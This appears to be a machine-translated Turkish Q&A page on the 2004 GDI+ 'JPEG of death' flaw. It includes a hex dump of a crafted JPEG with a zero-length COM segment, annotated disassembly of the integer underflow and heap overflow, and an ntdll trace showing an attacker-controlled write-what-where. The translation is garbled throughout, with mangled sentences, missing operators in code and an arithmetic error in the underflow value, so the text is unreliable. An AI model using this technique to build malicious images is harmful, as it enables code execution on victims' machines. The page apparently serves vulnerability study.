SORU
6 ŞUBAT 2015, Cuma


Nasıl Ölüm açığına JPEG çalışır?

Windows GDI karşı istismar eski bir XP okuyorum, ve Windows Server 2003 üzerinde çalıştığım bir proje için ölüm JPEG aradı.

Sömürmek aşağıdaki bağlantıyı iyi açıklanabilir: http://www.infosecwriters.com/text_resources/pdf/JPEG.pdf

Temelde, bir JPEG dosyasını bir bölümü (büyük olasılıkla boş) COM içeren bir yorum alanı, ve iki bayt değerini COM boyutunu içeren içerir. Eğer yorum varsa hayır, boyutu 2. Okuyucu YERALAN boyutu okur, iki çıkarır ve uygun boyutta bir arabellek yığın açıklamalarda kopyalamak için ayırır. Saldırı alanında 0 değeri yerleştirerek içerir. GDI 2, memcpy tarafından imzalanmamış tamsayı 0XFFFFFFFE dönüşür -2 (0xFFFe) değerine lider çıkarır.

Örnek kod:

unsigned int size;
size = len - 2;
char *comment = (char *)malloc(size   1);
memcpy(comment, src, size);

Üçüncü satır malloc(0) yığın işaretçisi ayrılmamış bir bellek dönmelidir inceleyin. Nasıl 0XFFFFFFFE bayt (19* *!!!!) yazılı olabilir muhtemelen programı kazası mı? Bu diğer programlar uzaya yığın alanı dışında ve yazma mı? O zaman ne olur?

memcpy, anladığım kadarıyla sadece kaynak için hedef n karakter kopyalar. Bu durumda, kaynak yığın yığın hedef olmalıdır, ve n 4GB.

CEVAP
6 ŞUBAT 2015, Cuma


Bu güvenlik açığı, kesinlikle heap overflow.

Nasıl 0XFFFFFFFE bayt yazma (4 GB!!!!) muhtemelen programı kazası mı?

Muhtemelen olacaktır, ancak bazı durumlarda kaza olmadan önce yararlanabilmesi için zaman (bazen, program normal yürütme dönüp kaza önleyebilirsiniz).

Memcpy (), kopya ya da başka bir yığın blokları veya yığın yönetim yapısının bazı parçaları üzerine yazılır (e başlar.g ücretsiz listesi, meşgul listesi, vb.).

Bir noktada kopya olmayan ayrılmış bir sayfa ile karşılaşıyorum ve yazmak üzerine bir AV (Erişim İhlali) tetikler. GDI sonra öbek (ntdll!RtlAllocateHeap) yeni bloğu ayırmaya çalışacağız ... ama yığın yapıları şimdi berbat durumda.

Dikkatle JPEG resim işçiliği ile bu noktada, kontrol edilen verilerle yığın yönetim yapıları üzerine yazabilirsiniz. Sistemi yeni bloğu ayırmaya çalıştığında, muhtemelen boş liste (ücretsiz) bloğu bağlantısını kesmek olacaktır.

Blok (özellikle) flink (İleri bağlantı ; listede bir sonraki blok) ve blink (Geri bağlantı; listesinde bir önceki blok) işaretçiler ile yönetilir. Eğer flink ve yanıp her ikisi de varsa, yazabilir ve yazabileceğiniz kontrol olası bir WRİTE4 (/Nerede durumu Ne yazma) olabilir.

Bu noktada bir işlev işaretçisi (SEH [Structured Exception Handlers] işaretçiler o zaman seçim hedefi 2004 yılında geri alındı) üzerine yazmak ve kod yürütülmesine elde edebilirsiniz.

Blog yazısı bakınHeap Corruption: A Case Study.

Not: gerçi ben yazdım hakkında sömürüsü kullanarak freelist, saldırgan olabilir tercih başka bir yolu kullanarak başka bir yığın meta ("yığın meta" yapılar tarafından kullanılan sistem yönetmek öbek ; flink ve göz kırpma olursunuz. öbek metadata), ama bağlantısını sömürü muhtemelen "kolay". Bir google Arama için "yığın sömürü" bu konuda çok sayıda araştırma dönecektir.

Bu diğer uzaya yığın alanı dışında ve yazma programlar?

Asla. Modern OS dayalı kavramının sanal adres alanı kadar her süreci kendi sanal adres alanı sağlar adresleme 4 gigabayt bellek üzerinde bir 32-bit sistem (uygulamada bunun için sadece yarım kalmış bir kullanıcı-arazi, geri kalan kısmı için kernel).

Kısa bir süreç oluşturulamıyor erişim belleği başka bir işlem (hariç sorar çekirdek içinden bazı servis / API, ama çekirdek kontrol edecek eğer arayanın hakkı vardır. bunu yapmak).


Saf spekülasyon yerine olup bitenler hakkında iyi bir fikir alabiliriz diye bu güvenlik açığı, bu test için hafta sonu karar verdim. Bu güvenlik açığı, şimdi 10 yaşında, bu cevap sömürü kısmı açıklayamadım rağmen bu konuda yazmak için TAMAM olduğunu düşündüm.

Planlama

En zor görev sadece 2004 :) olduğu gibi SP1, Windows XP bulmaktı

Sonra, aşağıda gösterildiği gibi bir JPEG resmi tek bir piksel sadece oluşan indirdim, (kısaltma için kes):

File 1x1_pixel.JPG
Address   Hex dump                                         ASCII
00000000  FF D8 FF E0|00 10 4A 46|49 46 00 01|01 01 00 60| ÿØÿà JFIF  `
00000010  00 60 00 00|FF E1 00 16|45 78 69 66|00 00 49 49|  `  ÿá Exif  II
00000020  2A 00 08 00|00 00 00 00|00 00 00 00|FF DB 00 43| *          ÿÛ C
[...]

JPEG resim ikili işaretleri kesimleri intrduce) oluşur. FF E0 örneğin, uygulama bir göstergesi ise, FF D8 yukarıdaki görüntü (İmaj) SOI marker.

İlk parametre olarak bir işaretçi kesimi (dışında bazı işaretleri gibi SE) iki baytlık bir uzunluk parametresi olan kodlar sayıda bayt işaretçiyi kesimi de dahil olmak üzere uzunluğu, parametre ve hariç iki baytlık bir işaretçi.

Ben sadece işaretleri kesin emri var yana SOI hemen sonra COM marker (FFFE 0 x) ekledi.

File 1x1_pixel_comment_mod1.JPG
Address   Hex dump                                         ASCII
00000000  FF D8 FF FE|00 00 30 30|30 30 30 30|30 31 30 30| ÿØÿþ  0000000100
00000010  30 32 30 30|30 33 30 30|30 34 30 30|30 35 30 30| 0200030004000500
00000020  30 36 30 30|30 37 30 30|30 38 30 30|30 39 30 30| 0600070008000900
00000030  30 61 30 30|30 62 30 30|30 63 30 30|30 64 30 30| 0a000b000c000d00
[...]

COM parçasının uzunluğu 29 ** güvenlik açığı tetiklemek için ayarlanmış. Ben de yinelenen bir desen ile COM marker hemen sonra 0xFFFC bayt, kullanışlı ne zaman olacak hex 4 baytlık bir sayı, "" güvenlik açığı. istismar enjekte

Hata ayıklama

Resmi tıklayarak hemen Windows hata tetikleyecek kabuk çift ("") explorer.exe, gdiplus.dll, fonksiyon GpJpegDecoder::read_jpeg_marker() adında. içinde bir yerlerde aka

Bu işlev çağrılır için her marker resim, basitçe: okur marker segment boyutu, bir arabellek ayırır kimin uzunluğu segment boyutu ve kopya içerik kesimi bu yeni ayrılan tampon.

Burada fonksiyonun başlangıç :

.text:70E199D5  mov     ebx, [ebp arg_0] ; ebx = *this (GpJpegDecoder instance)
.text:70E199D8  push    esi
.text:70E199D9  mov     esi, [ebx 18h]
.text:70E199DC  mov     eax, [esi]      ; eax = pointer to segment size
.text:70E199DE  push    edi
.text:70E199DF  mov     edi, [esi 4]    ; edi = bytes left to process in the image

eax kayıt kesimine boyutu puan ve edi bayt görüntüde sol sayısıdır.

Daha sonra kod segment boyutunu okumak için, en önemli bayt (uzunluğu 16-bitlik bir değer) başlayarak devam eder:

.text:70E199F7  xor     ecx, ecx        ; segment_size = 0
.text:70E199F9  mov     ch, [eax]       ; get most significant byte from size --> CH == 00
.text:70E199FB  dec     edi             ; bytes_to_process --
.text:70E199FC  inc     eax             ; pointer  
.text:70E199FD  test    edi, edi
.text:70E199FF  mov     [ebp arg_0], ecx ; save segment_size

Ve en az önemli bayt:

.text:70E19A15  movzx   cx, byte ptr [eax] ; get least significant byte from size --> CX == 0
.text:70E19A19  add     [ebp arg_0], ecx   ; save segment_size
.text:70E19A1C  mov     ecx, [ebp lpMem]
.text:70E19A1F  inc     eax             ; pointer   
.text:70E19A20  mov     [esi], eax
.text:70E19A22  mov     eax, [ebp arg_0] ; eax = segment_size

Bu yapıldıktan sonra, kesim boyutu arabellek ayırmak için, bu hesaplama aşağıdaki kullanılır:

alloc_size = 2 segment_size

Bu kodun altında yapılır:

.text:70E19A29  movzx   esi, word ptr [ebp arg_0] ; esi = segment size (cast from 16-bit to 32-bit)
.text:70E19A2D  add     eax, 2 
.text:70E19A30  mov     [ecx], ax 
.text:70E19A33  lea     eax, [esi 2] ; alloc_size = segment_size   2
.text:70E19A36  push    eax             ; dwBytes
.text:70E19A37  call    _GpMalloc@4     ; GpMalloc(x)

Kesim boyutu 0, . olduğu gibi bizim durumumuzda, ^strong>tampon için ayrılan boyutu 2 bayt.

Bu güvenlik açığı ayırma sonra haklı:

.text:70E19A37  call    _GpMalloc@4     ; GpMalloc(x)
.text:70E19A3C  test    eax, eax
.text:70E19A3E  mov     [ebp lpMem], eax ; save pointer to allocation
.text:70E19A41  jz      loc_70E19AF1
.text:70E19A47  mov     cx, [ebp arg_4]   ; low marker byte (0xFE)
.text:70E19A4B  mov     [eax], cx         ; save in alloc (offset 0)
;[...]
.text:70E19A52  lea     edx, [esi-2]      ; edx = segment_size - 2 = 0 - 2 = 0xFFFFFFFE!!!
;[...]
.text:70E19A61  mov     [ebp arg_0], edx

Kodu sadece her segment boyutu segment_size boyutu (segment uzunluğu 2 byte değer) (bizim durumumuzda 0) çıkarır ve bir tamsayı yetersizlik durumu ile biter:0 - 2 = 0xffffffff

O zaman Çek bayt vardır. kod görüntüde ayrıştırmak için doğru olan (solda) ve sonra kopyalamak için atlar:

.text:70E19A69  mov     ecx, [eax 4]  ; ecx = bytes left to parse (0x133)
.text:70E19A6C  cmp     ecx, edx      ; edx = 0xFFFFFFFE
.text:70E19A6E  jg      short loc_70E19AB4 ; take jump to copy
;[...]
.text:70E19AB4  mov     eax, [ebx 18h]
.text:70E19AB7  mov     esi, [eax]      ; esi = source = points to segment content ("0000000100020003...")
.text:70E19AB9  mov     edi, dword ptr [ebp arg_4] ; edi = destination buffer
.text:70E19ABC  mov     ecx, edx        ; ecx = copy size = segment content size = 0xFFFFFFFE
.text:70E19ABE  mov     eax, ecx
.text:70E19AC0  shr     ecx, 2          ; size / 4
.text:70E19AC3  rep movsd               ; copy segment content by 32-bit chunks

Yukarıdaki Pasajı kopya boyutu 0xFFFFFFFE 32-bit parçalar olduğunu gösterir. Kaynak arabellek kontrol edilir (resim içeriği) ve hedef öbek üzerinde bir tampon.

Durumu yazın

Kopya bellek sayfası (bu iki kaynaktan işaretçi veya hedef gösterici olabilir) sonuna ulaştığında erişim ihlali (AV) özel durum tetikler. AV tetiklendiğinde, öbek kopyası zaten olmayan eşleştirilmiş bir sayfa ile karşılaşıldı kadar aşağıdaki öbek bloklar üzerine çünkü zaten zayıf bir durumda.

Bu hata, işletilebilir kılan 3 SEH (Yapılandırılmış özel Durum İşleyicisi; / düşük seviyesinde dışında deneyin) bu kod parçası üzerinde özel durumları yakalamak. Daha doğrusu, 1 SEH geri başka bir JPEG marker ayrıştırmak için gidiyor yığın, tamamen özel durumu tetikleyen marker atlama böylece rahatlatacak.

Bir SEH olmadan kod sadece tüm program çökmüş olurdu. Kodu COM segment atlar ve başka bir segment ayrıştırır. Biz kod yeni bir tampon ayırır GpJpegDecoder::read_jpeg_marker() tekrar yeni bir segment ve böylece:

.text:70E19A33  lea     eax, [esi 2] ; alloc_size = semgent_size   2
.text:70E19A36  push    eax             ; dwBytes
.text:70E19A37  call    _GpMalloc@4     ; GpMalloc(x)

Sistem boş listesinden bir blok bağlantısını kesmek olacaktır. Meta veri yapıları görüntünün içeriği üzerine; kontrollü meta ile olan bağlantısını kontrol ediyoruz, böylece olur. Yığın yöneticisi: sistemde bir yere aşağıdaki kodu (ntdll)

CPU Disasm
Address   Command                                  Comments
77F52CBF  MOV ECX,DWORD PTR DS:[EAX]               ; eax points to '0003' ; ecx = 0x33303030
77F52CC1  MOV DWORD PTR SS:[EBP-0B0],ECX           ; save ecx
77F52CC7  MOV EAX,DWORD PTR DS:[EAX 4]             ; [eax 4] points to '0004' ; eax = 0x34303030
77F52CCA  MOV DWORD PTR SS:[EBP-0B4],EAX
77F52CD0  MOV DWORD PTR DS:[EAX],ECX               ; write 0x33303030 to 0x34303030!!!

Artık istediğimiz yere istediğimiz şeyi yazalım gitsin

Bunu Paylaş:
  • Google+
  • E-Posta
Etiketler:

YORUMLAR

SPONSOR VİDEO

Rastgele Yazarlar

  • Gali B

    Gali B

    1 EYLÜL 2006
  • happyjpy

    happyjpy

    22 AĞUSTOS 2009
  • Microsoft Help & Training Videos

    Microsoft He

    31 Mart 2009